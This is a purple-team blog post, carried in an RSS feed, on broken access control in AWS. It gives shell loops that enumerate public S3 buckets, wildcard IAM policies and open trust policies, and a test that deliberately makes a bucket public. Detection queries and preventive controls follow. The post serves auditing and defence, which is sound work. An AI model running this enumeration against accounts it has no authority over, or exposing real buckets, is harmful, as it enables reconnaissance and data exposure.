<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fmfa-fatigue-attack-uber-okta%2F&amp;linkname=MFA%20Fatigue%20Attacks%3A%20How%20Uber%20Got%20Breached%20and%20How%20to%20Stop%20It" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fmfa-fatigue-attack-uber-okta%2F&amp;linkname=MFA%20Fatigue%20Attacks%3A%20How%20Uber%20Got%20Breached%20and%20How%20to%20Stop%20It" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fmfa-fatigue-attack-uber-okta%2F&amp;linkname=MFA%20Fatigue%20Attacks%3A%20How%20Uber%20Got%20Breached%20and%20How%20to%20Stop%20It" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fmfa-fatigue-attack-uber-okta%2F&amp;linkname=MFA%20Fatigue%20Attacks%3A%20How%20Uber%20Got%20Breached%20and%20How%20to%20Stop%20It" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fmfa-fatigue-attack-uber-okta%2F&amp;linkname=MFA%20Fatigue%20Attacks%3A%20How%20Uber%20Got%20Breached%20and%20How%20to%20Stop%20It" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fmfa-fatigue-attack-uber-okta%2F&amp;linkname=MFA%20Fatigue%20Attacks%3A%20How%20Uber%20Got%20Breached%20and%20How%20to%20Stop%20It" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fmfa-fatigue-attack-uber-okta%2F&amp;linkname=MFA%20Fatigue%20Attacks%3A%20How%20Uber%20Got%20Breached%20and%20How%20to%20Stop%20It" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fmfa-fatigue-attack-uber-okta%2F&#038;title=MFA%20Fatigue%20Attacks%3A%20How%20Uber%20Got%20Breached%20and%20How%20to%20Stop%20It" data-a2a-url="https://linuxcent.com/mfa-fatigue-attack-uber-okta/" data-a2a-title="MFA Fatigue Attacks: How Uber Got Breached and How to Stop It"></a></p><p>The post <a href="https://linuxcent.com/mfa-fatigue-attack-uber-okta/">MFA Fatigue Attacks: How Uber Got Breached and How to Stop It</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/mfa-fatigue-attack-uber-okta/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1855</post-id>	</item>
		<item>
		<title>Broken Access Control in AWS: From Misconfigured S3 to Admin</title>
		<link>https://linuxcent.com/broken-access-control-aws-cloud/</link>
					<comments>https://linuxcent.com/broken-access-control-aws-cloud/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Thu, 04 Jun 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Broken Access Control]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[OWASP]]></category>
		<category><![CDATA[S3]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1852</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 9</span> <span class="rt-label rt-postfix">minutes</span></span>Broken access control is OWASP A01 because it is the most common cloud failure. How IAM wildcards, public S3 buckets, and overpermissioned roles create admin-level exposure.</p>
<p>The post <a href="https://linuxcent.com/broken-access-control-aws-cloud/">Broken Access Control in AWS: From Misconfigured S3 to Admin</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 9</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a> → <strong>Broken access control in AWS</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Broken access control in AWS</strong> is OWASP A01 — the most common cloud security failure, covering IAM wildcards, public S3 buckets, and overly broad trust policies</li>
<li>A public S3 bucket containing 47 million customer records went undetected for six months in an authorized assessment — no GuardDuty finding, no AWS Config alert, because those controls weren&#8217;t enabled</li>
<li>The red phase: three commands to identify public buckets, enumerate IAM over-permissions, and test trust policy abuse — all with read-only access on your own account</li>
<li>The blue phase: two AWS Config managed rules and one GuardDuty finding type that cover the majority of A01 findings</li>
<li>The purple phase: deny-based SCPs, bucket public access blocks, and IAM Access Analyzer — structural controls, not monitoring alerts</li>
<li>Cross-series: <a href="/aws-iam-privilege-escalation-passrole/">IAM privilege escalation paths</a> (IAM EP08) and <a href="/aws-least-privilege-audit/">AWS least privilege audit</a> (IAM EP09) go deeper on the IAM layer</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> A01 Broken Access Control — primarily. A09 Logging and Monitoring Failures — the six-month detection gap demonstrates A09 as an amplifier of A01.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────┐
│              BROKEN ACCESS CONTROL — ATTACK SURFACE                 │
│                                                                     │
│   INTERNET                    AWS ACCOUNT                           │
│                                                                     │
│   Attacker ──────────────&#x25b6;  S3 bucket (public read)                 │
│                             └── 47M customer records                │
│                                                                     │
│   Attacker ──────────────&#x25b6;  IAM user with &quot;Action&quot;: &quot;*&quot;             │
│   (compromised creds)        └── escalate → admin access            │
│                                                                     │
│   Attacker ──────────────&#x25b6;  Trust policy: &quot;AWS&quot;: &quot;*&quot;                │
│   (any AWS account)          └── assume role from attacker&#039;s        │
│                                  account                            │
│                                                                     │
│   ═══════════════════════════════════════════════════════           │
│                                                                     │
│   DETECTION GAPS (A09 amplifying A01):                              │
│   • S3 public access not in AWS Config rules                        │
│   • GuardDuty not enabled                                           │
│   • No IAM Access Analyzer                                          │
│   • No SCP boundary on public bucket creation                       │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘
</code></pre>
<p><strong>Broken access control in AWS</strong> is the infrastructure equivalent of OWASP A01: a principal can reach a resource it should not be able to reach, because the access control decision was either not made or made incorrectly. In the cloud context, this manifests as public S3 buckets, IAM policies with wildcard actions and resources, and trust policies that allow any principal rather than a specific, scoped entity.</p>
<hr />
<h2 id="the-assessment-that-changed-my-approach-to-access-control-auditing">The Assessment That Changed My Approach to Access Control Auditing</h2>
<p>During an authorized assessment, I found an S3 bucket containing 47 million customer records. The bucket name was generic — no obvious PII signal in the name itself. It was created two years prior by an engineer who was troubleshooting a data pipeline and needed temporary public access to share data with an external partner. The partner relationship ended. The bucket access was never reverted.</p>
<p>The bucket had been public for six months at the time I found it. I checked the AWS Config rules: S3 public access was not in the rule set. GuardDuty was enabled but no finding had fired — GuardDuty generates a <code class="" data-line="">Policy:S3/BucketAnonymousAccessGranted</code> finding when public access is enabled, but only if the finding is new during GuardDuty&#8217;s monitoring window. The bucket went public before GuardDuty was enabled.</p>
<p>No alert ever fired. Not because the tools couldn&#8217;t detect it — because the tools weren&#8217;t configured to look.</p>
<p>This is A01 amplified by A09. The broken access control is the public bucket. The six-month window is the logging and monitoring failure.</p>
<hr />
<h2 id="red-phase-how-broken-access-control-works-in-practice">Red Phase: How Broken Access Control Works in Practice</h2>
<p>The red team perspective on broken access control starts with enumeration. What can this principal reach that it shouldn&#8217;t be able to reach?</p>
<h3 id="enumerating-public-s3-buckets">Enumerating Public S3 Buckets</h3>
<pre><code class="" data-line="">aws s3api list-buckets --query &#039;Buckets[].Name&#039; --output text | \
  tr &#039;\t&#039; &#039;\n&#039; | \
  while read bucket; do
    # Check account-level block
    account_block=$(aws s3control get-public-access-block \
      --account-id $(aws sts get-caller-identity --query Account --output text) \
      2&gt;/dev/null | jq -r &#039;.PublicAccessBlockConfiguration.BlockPublicAcls&#039;)

    # Check bucket-level policy
    policy=$(aws s3api get-bucket-policy-status --bucket &quot;$bucket&quot; 2&gt;/dev/null | \
      jq -r &#039;.PolicyStatus.IsPublic&#039;)

    # Check bucket ACL
    acl=$(aws s3api get-bucket-acl --bucket &quot;$bucket&quot; 2&gt;/dev/null | \
      jq -r &#039;.Grants[] | select(.Grantee.URI == &quot;http://acs.amazonaws.com/groups/global/AllUsers&quot;) | .Permission&#039;)

    if [ &quot;$policy&quot; = &quot;true&quot; ] || [ -n &quot;$acl&quot; ]; then
      echo &quot;PUBLIC BUCKET: $bucket (policy_public=$policy, acl_grants=$acl)&quot;
    fi
  done
</code></pre>
<h3 id="enumerating-overly-permissive-iam-policies">Enumerating Overly Permissive IAM Policies</h3>
<pre><code class="" data-line=""># Find all customer-managed policies with wildcard actions
aws iam list-policies --scope Local --query &#039;Policies[].Arn&#039; --output text | \
  tr &#039;\t&#039; &#039;\n&#039; | \
  while read arn; do
    version=$(aws iam get-policy --policy-arn &quot;$arn&quot; \
      --query &#039;Policy.DefaultVersionId&#039; --output text)
    doc=$(aws iam get-policy-version --policy-arn &quot;$arn&quot; --version-id &quot;$version&quot; \
      --query &#039;PolicyVersion.Document&#039; --output json)

    if echo &quot;$doc&quot; | jq -e &#039;.Statement[] | select(.Effect == &quot;Allow&quot; and .Action == &quot;*&quot;)&#039; &gt; /dev/null 2&gt;&amp;1; then
      echo &quot;WILDCARD ACTION POLICY: $arn&quot;
      echo &quot;$doc&quot; | jq &#039;.Statement[] | select(.Effect == &quot;Allow&quot; and .Action == &quot;*&quot;)&#039;
    fi
  done
</code></pre>
<h3 id="testing-trust-policy-abuse">Testing Trust Policy Abuse</h3>
<pre><code class="" data-line=""># Find IAM roles with overly broad trust policies
# Specifically: trust policies that allow any AWS account or service
aws iam list-roles --query &#039;Roles[].{Name:RoleName,Arn:Arn}&#039; --output json | \
  jq -r &#039;.[].Arn&#039; | \
  while read role_arn; do
    trust=$(aws iam get-role --role-name &quot;$(basename $role_arn)&quot; \
      --query &#039;Role.AssumeRolePolicyDocument&#039; --output json 2&gt;/dev/null)

    # Check for wildcard principals
    if echo &quot;$trust&quot; | jq -e &#039;.Statement[] | select(.Principal == &quot;*&quot;)&#039; &gt; /dev/null 2&gt;&amp;1; then
      echo &quot;WILDCARD TRUST PRINCIPAL: $role_arn&quot;
    fi

    # Check for cross-account trust without conditions
    if echo &quot;$trust&quot; | jq -e &#039;.Statement[] | select(.Principal.AWS | type == &quot;string&quot; and test(&quot;arn:aws:iam::[0-9]+:root&quot;))&#039; &gt; /dev/null 2&gt;&amp;1; then
      account_in_trust=$(echo &quot;$trust&quot; | jq -r &#039;.Statement[] | .Principal.AWS // empty&#039; | grep -oP &#039;(?&lt;=arn:aws:iam::)[0-9]+&#039;)
      current_account=$(aws sts get-caller-identity --query Account --output text)
      if [ &quot;$account_in_trust&quot; != &quot;$current_account&quot; ]; then
        echo &quot;CROSS-ACCOUNT TRUST (verify scope): $role_arn trusts account $account_in_trust&quot;
      fi
    fi
  done
</code></pre>
<h3 id="simulating-s3-exfiltration-on-your-own-bucket-safe-test">Simulating S3 Exfiltration (on your own bucket — safe test)</h3>
<pre><code class="" data-line=""># Create a test bucket, make it public, verify it&#039;s accessible without credentials
# Do this in a non-production account only

TEST_BUCKET=&quot;purple-team-test-$(date +%s)&quot;
aws s3 mb s3://${TEST_BUCKET} --region us-east-1

# Disable the public access block (simulates the misconfiguration)
aws s3api put-public-access-block \
  --bucket &quot;${TEST_BUCKET}&quot; \
  --public-access-block-configuration \
  &quot;BlockPublicAcls=false,IgnorePublicAcls=false,BlockPublicPolicy=false,RestrictPublicBuckets=false&quot;

# Add a public-read bucket policy
aws s3api put-bucket-policy --bucket &quot;${TEST_BUCKET}&quot; --policy &#039;{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Principal&quot;: &quot;*&quot;,
    &quot;Action&quot;: &quot;s3:GetObject&quot;,
    &quot;Resource&quot;: &quot;arn:aws:s3:::&#039;&quot;${TEST_BUCKET}&quot;&#039;/*&quot;
  }]
}&#039;

# Put a test file
echo &quot;PURPLE_TEAM_TEST_DATA&quot; | aws s3 cp - s3://${TEST_BUCKET}/test.txt

# Verify it&#039;s accessible without credentials
curl -s &quot;https://${TEST_BUCKET}.s3.amazonaws.com/test.txt&quot;
# Should return: PURPLE_TEAM_TEST_DATA

echo &quot;&quot;
echo &quot;Test complete. Clean up:&quot;
echo &quot;aws s3 rb s3://${TEST_BUCKET} --force&quot;
</code></pre>
<hr />
<h2 id="blue-phase-what-detection-looks-like">Blue Phase: What Detection Looks Like</h2>
<h3 id="what-aws-config-catches">What AWS Config Catches</h3>
<p>Two managed rules cover the majority of S3 broken access control findings:</p>
<pre><code class="" data-line=""># Enable the S3 public access rules in AWS Config
# (requires Config to already be enabled)

# Rule 1: s3-bucket-public-read-prohibited
aws configservice put-config-rule --config-rule &#039;{
  &quot;ConfigRuleName&quot;: &quot;s3-bucket-public-read-prohibited&quot;,
  &quot;Source&quot;: {
    &quot;Owner&quot;: &quot;AWS&quot;,
    &quot;SourceIdentifier&quot;: &quot;S3_BUCKET_PUBLIC_READ_PROHIBITED&quot;
  },
  &quot;Scope&quot;: {
    &quot;ComplianceResourceTypes&quot;: [&quot;AWS::S3::Bucket&quot;]
  }
}&#039;

# Rule 2: s3-account-level-public-access-blocks-periodic
aws configservice put-config-rule --config-rule &#039;{
  &quot;ConfigRuleName&quot;: &quot;s3-account-level-public-access-blocks-periodic&quot;,
  &quot;Source&quot;: {
    &quot;Owner&quot;: &quot;AWS&quot;,
    &quot;SourceIdentifier&quot;: &quot;S3_ACCOUNT_LEVEL_PUBLIC_ACCESS_BLOCKS_PERIODIC&quot;
  }
}&#039;

# Check current compliance status
aws configservice describe-compliance-by-config-rule \
  --config-rule-names s3-bucket-public-read-prohibited \
  --query &#039;ComplianceByConfigRules[].{Rule:ConfigRuleName,Compliance:Compliance.ComplianceType}&#039;
</code></pre>
<h3 id="what-guardduty-catches">What GuardDuty Catches</h3>
<p>GuardDuty generates these findings for S3 broken access control:</p>
<table>
<thead>
<tr>
<th>Finding Type</th>
<th>Trigger</th>
<th>Severity</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="" data-line="">Policy:S3/BucketAnonymousAccessGranted</code></td>
<td>Bucket policy or ACL grants public read/write</td>
<td>Medium</td>
</tr>
<tr>
<td><code class="" data-line="">Policy:S3/BucketPublicAccessGranted</code></td>
<td>Same as above — alternate finding type</td>
<td>Medium</td>
</tr>
<tr>
<td><code class="" data-line="">Discovery:S3/MaliciousIPCaller</code></td>
<td>S3 GetObject from a known malicious IP</td>
<td>High</td>
</tr>
</tbody>
</table>
<pre><code class="" data-line=""># Query GuardDuty findings for S3 public access violations
DETECTOR_ID=$(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text)

aws guardduty list-findings \
  --detector-id &quot;${DETECTOR_ID}&quot; \
  --finding-criteria &#039;{
    &quot;Criterion&quot;: {
      &quot;type&quot;: {
        &quot;Equals&quot;: [&quot;Policy:S3/BucketAnonymousAccessGranted&quot;, &quot;Policy:S3/BucketPublicAccessGranted&quot;]
      }
    }
  }&#039; \
  --query &#039;FindingIds&#039; --output text | \
  xargs -n 10 aws guardduty get-findings \
    --detector-id &quot;${DETECTOR_ID}&quot; \
    --finding-ids | \
  jq &#039;.Findings[] | {type: .Type, bucket: .Resource.S3BucketDetails[0].Name, severity: .Severity}&#039;
</code></pre>
<h3 id="what-iam-access-analyzer-catches">What IAM Access Analyzer Catches</h3>
<p>IAM Access Analyzer continuously analyzes resource policies for external access — S3 buckets, IAM roles, KMS keys, SQS queues, Lambda functions. It generates a finding any time a resource policy grants access to a principal outside the AWS account (or AWS Organization boundary).</p>
<pre><code class="" data-line=""># Enable IAM Access Analyzer for the account
aws accessanalyzer create-analyzer \
  --analyzer-name &quot;account-access-analyzer&quot; \
  --type ACCOUNT

# List all active findings (external access granted)
aws accessanalyzer list-findings \
  --analyzer-arn $(aws accessanalyzer list-analyzers --query &#039;analyzers[0].arn&#039; --output text) \
  --filter &#039;{&quot;status&quot;: {&quot;eq&quot;: [&quot;ACTIVE&quot;]}}&#039; \
  --query &#039;findings[].{Resource:resource,Principal:principal,Action:action}&#039; \
  --output table
</code></pre>
<h3 id="what-the-cloudtrail-event-looks-like">What the CloudTrail Event Looks Like</h3>
<p>When an anonymous user accesses a public S3 object:</p>
<pre><code class="" data-line="">{
  &quot;eventVersion&quot;: &quot;1.09&quot;,
  &quot;userIdentity&quot;: {
    &quot;type&quot;: &quot;AWSAccount&quot;,
    &quot;accountId&quot;: &quot;ANONYMOUS_PRINCIPAL&quot;,  
    &quot;principalId&quot;: &quot;ANONYMOUS_PRINCIPAL&quot;
  },
  &quot;eventTime&quot;: &quot;2024-03-15T02:47:00Z&quot;,
  &quot;eventSource&quot;: &quot;s3.amazonaws.com&quot;,
  &quot;eventName&quot;: &quot;GetObject&quot;,
  &quot;requestParameters&quot;: {
    &quot;bucketName&quot;: &quot;your-bucket-name&quot;,
    &quot;key&quot;: &quot;customer-data/records.csv&quot;
  },
  &quot;sourceIPAddress&quot;: &quot;198.51.100.1&quot;,
  &quot;userAgent&quot;: &quot;python-requests/2.28.0&quot;
}
</code></pre>
<p>The signal: <code class="" data-line="">userIdentity.type = &quot;AWSAccount&quot;</code> with <code class="" data-line="">accountId = &quot;ANONYMOUS_PRINCIPAL&quot;</code> on a <code class="" data-line="">GetObject</code> event. This is a read from an anonymous, unauthenticated principal.</p>
<pre><code class="" data-line=""># CloudTrail Insights query (Athena) to find anonymous S3 GetObject events
# Assumes CloudTrail S3 data events are enabled for the bucket

SELECT
  eventTime,
  sourceIPAddress,
  requestParameters.bucketName,
  requestParameters.key,
  userIdentity.type,
  userIdentity.accountId
FROM cloudtrail_logs
WHERE
  eventName = &#039;GetObject&#039;
  AND userIdentity.type = &#039;AWSAccount&#039;
  AND userIdentity.accountId = &#039;ANONYMOUS_PRINCIPAL&#039;
  AND eventTime &gt; current_timestamp - interval &#039;7&#039; day
ORDER BY eventTime DESC
LIMIT 100;
</code></pre>
<hr />
<h2 id="purple-phase-the-structural-fix">Purple Phase: The Structural Fix</h2>
<p>Detection catches broken access control after the fact. The structural fix prevents it from being possible.</p>
<h3 id="fix-1-account-level-s3-public-access-block">Fix 1: Account-Level S3 Public Access Block</h3>
<p>This is a single setting that prevents any bucket in the account from becoming public — regardless of bucket policy or ACL. It overrides bucket-level settings.</p>
<pre><code class="" data-line=""># Enable account-level S3 public access block
aws s3control put-public-access-block \
  --account-id $(aws sts get-caller-identity --query Account --output text) \
  --public-access-block-configuration \
  &quot;BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true&quot;

# Verify
aws s3control get-public-access-block \
  --account-id $(aws sts get-caller-identity --query Account --output text)
</code></pre>
<h3 id="fix-2-scp-to-prevent-disabling-the-public-access-block">Fix 2: SCP to Prevent Disabling the Public Access Block</h3>
<p>An SCP (Service Control Policy) at the AWS Organizations level that prevents any account from disabling the public access block — even an account administrator.</p>
<pre><code class="" data-line="">{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Sid&quot;: &quot;DenyS3PublicAccessBlockDisable&quot;,
      &quot;Effect&quot;: &quot;Deny&quot;,
      &quot;Action&quot;: [
        &quot;s3:PutBucketPublicAccessBlock&quot;,
        &quot;s3:DeletePublicAccessBlock&quot;
      ],
      &quot;Resource&quot;: &quot;*&quot;,
      &quot;Condition&quot;: {
        &quot;ArnNotLike&quot;: {
          &quot;aws:PrincipalArn&quot;: &quot;arn:aws:iam::*:role/s3-public-access-exception-role&quot;
        }
      }
    }
  ]
}
</code></pre>
<pre><code class="" data-line=""># Apply the SCP to your organizational unit
aws organizations create-policy \
  --name &quot;DenyS3PublicAccessBlockDisable&quot; \
  --type SERVICE_CONTROL_POLICY \
  --content file://scp-deny-s3-public-access.json \
  --description &quot;Prevents disabling S3 public access block at account level&quot;
</code></pre>
<h3 id="fix-3-iam-policy-cleanup-remove-wildcards">Fix 3: IAM Policy Cleanup — Remove Wildcards</h3>
<p>For IAM policies with wildcard actions, the fix is least-privilege replacement. This is not a quick operation — it requires analyzing actual usage and scoping to what is actually needed.</p>
<pre><code class="" data-line=""># Use IAM Access Analyzer policy generation to generate a least-privilege policy
# based on actual CloudTrail activity for a role
aws accessanalyzer start-policy-generation \
  --policy-generation-details &#039;{
    &quot;principalArn&quot;: &quot;arn:aws:iam::123456789012:role/your-role-name&quot;
  }&#039; \
  --cloud-trail-details &#039;{
    &quot;accessRole&quot;: &quot;arn:aws:iam::123456789012:role/access-analyzer-cloudtrail-role&quot;,
    &quot;trailProperties&quot;: [{
      &quot;cloudTrailArn&quot;: &quot;arn:aws:cloudtrail:us-east-1:123456789012:trail/your-trail&quot;,
      &quot;regions&quot;: [&quot;us-east-1&quot;, &quot;us-west-2&quot;],
      &quot;allRegions&quot;: false
    }],
    &quot;startTime&quot;: &quot;2024-01-01T00:00:00Z&quot;,
    &quot;endTime&quot;: &quot;2024-03-01T00:00:00Z&quot;
  }&#039;

# Retrieve the generated policy
JOB_ID=&quot;&lt;returned-job-id&gt;&quot;
aws accessanalyzer get-generated-policy --job-id &quot;${JOB_ID}&quot;
</code></pre>
<p>For a systematic audit approach, the <a href="/aws-least-privilege-audit/">AWS least privilege audit</a> process in IAM EP09 covers how to move from wildcard policies to scoped permissions methodically across a multi-account environment.</p>
<h3 id="fix-4-iam-access-analyzer-with-automated-archiving">Fix 4: IAM Access Analyzer with Automated Archiving</h3>
<pre><code class="" data-line=""># Create an archive rule for known-good cross-account access
# (prevents alert fatigue from legitimate cross-account patterns)
aws accessanalyzer create-archive-rule \
  --analyzer-name &quot;account-access-analyzer&quot; \
  --rule-name &quot;archive-legitimate-cross-account&quot; \
  --filter &#039;{
    &quot;principal.AWS&quot;: {
      &quot;contains&quot;: [&quot;arn:aws:iam::111122223333:role/legitimate-cross-account-role&quot;]
    }
  }&#039;
</code></pre>
<hr />
<h2 id="run-this-in-your-own-environment-a01-audit">Run This in Your Own Environment: A01 Audit</h2>
<p>Run this in any AWS account you own or have read-only access to audit:</p>
<pre><code class="" data-line="">#!/bin/bash
# Purple Team EP04 — Broken Access Control (A01) Audit
# Safe to run with read-only IAM permissions

ACCOUNT=$(aws sts get-caller-identity --query Account --output text)
echo &quot;Auditing account: ${ACCOUNT}&quot;
echo &quot;===============================&quot;

echo &quot;&quot;
echo &quot;[A01-1] S3 Account-Level Public Access Block&quot;
aws s3control get-public-access-block --account-id &quot;${ACCOUNT}&quot; 2&gt;/dev/null || \
  echo &quot;  FINDING: Account-level public access block not configured&quot;

echo &quot;&quot;
echo &quot;[A01-2] S3 Buckets with Public Access&quot;
aws s3api list-buckets --query &#039;Buckets[].Name&#039; --output text | tr &#039;\t&#039; &#039;\n&#039; | \
  while read bucket; do
    status=$(aws s3api get-bucket-policy-status --bucket &quot;$bucket&quot; 2&gt;/dev/null | \
      jq -r &#039;.PolicyStatus.IsPublic // &quot;false&quot;&#039;)
    if [ &quot;$status&quot; = &quot;true&quot; ]; then
      echo &quot;  FINDING: Public bucket: $bucket&quot;
    fi
  done

echo &quot;&quot;
echo &quot;[A01-3] IAM Roles with Wildcard Trust Policies&quot;
aws iam list-roles --query &#039;Roles[].RoleName&#039; --output text | tr &#039;\t&#039; &#039;\n&#039; | head -50 | \
  while read role; do
    trust=$(aws iam get-role --role-name &quot;$role&quot; \
      --query &#039;Role.AssumeRolePolicyDocument.Statement&#039; 2&gt;/dev/null)
    if echo &quot;$trust&quot; | jq -e &#039;.[] | select(.Principal == &quot;*&quot;)&#039; &gt; /dev/null 2&gt;&amp;1; then
      echo &quot;  FINDING: Wildcard trust principal in role: $role&quot;
    fi
  done

echo &quot;&quot;
echo &quot;[A01-4] IAM Access Analyzer — Active External Access Findings&quot;
ANALYZER=$(aws accessanalyzer list-analyzers --query &#039;analyzers[0].arn&#039; --output text 2&gt;/dev/null)
if [ -z &quot;$ANALYZER&quot; ]; then
  echo &quot;  FINDING: IAM Access Analyzer not enabled&quot;
else
  aws accessanalyzer list-findings \
    --analyzer-arn &quot;${ANALYZER}&quot; \
    --filter &#039;{&quot;status&quot;: {&quot;eq&quot;: [&quot;ACTIVE&quot;]}}&#039; \
    --query &#039;findings[].{Resource:resource,Type:resourceType}&#039; \
    --output table
fi
</code></pre>
<hr />
<h2 id="common-mistakes-when-fixing-broken-access-control-in-aws"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Common Mistakes When Fixing Broken Access Control in AWS</h2>
<p><strong>Fixing the symptom at the bucket level without the account-level block.</strong> If you set <code class="" data-line="">RestrictPublicBuckets=true</code> on individual buckets but leave the account-level block unset, the next bucket created by another engineer starts with public access possible again. The account-level block is the structural control; the bucket-level setting is defense-in-depth.</p>
<p><strong>Not enabling CloudTrail S3 data events.</strong> CloudTrail management events capture bucket creation and policy changes. They do not capture <code class="" data-line="">GetObject</code> and <code class="" data-line="">PutObject</code> by default — that requires enabling S3 data events, which adds cost. Without data events, you cannot see who accessed what in a public bucket. If you can&#8217;t afford data events on all buckets, enable them on buckets containing sensitive data.</p>
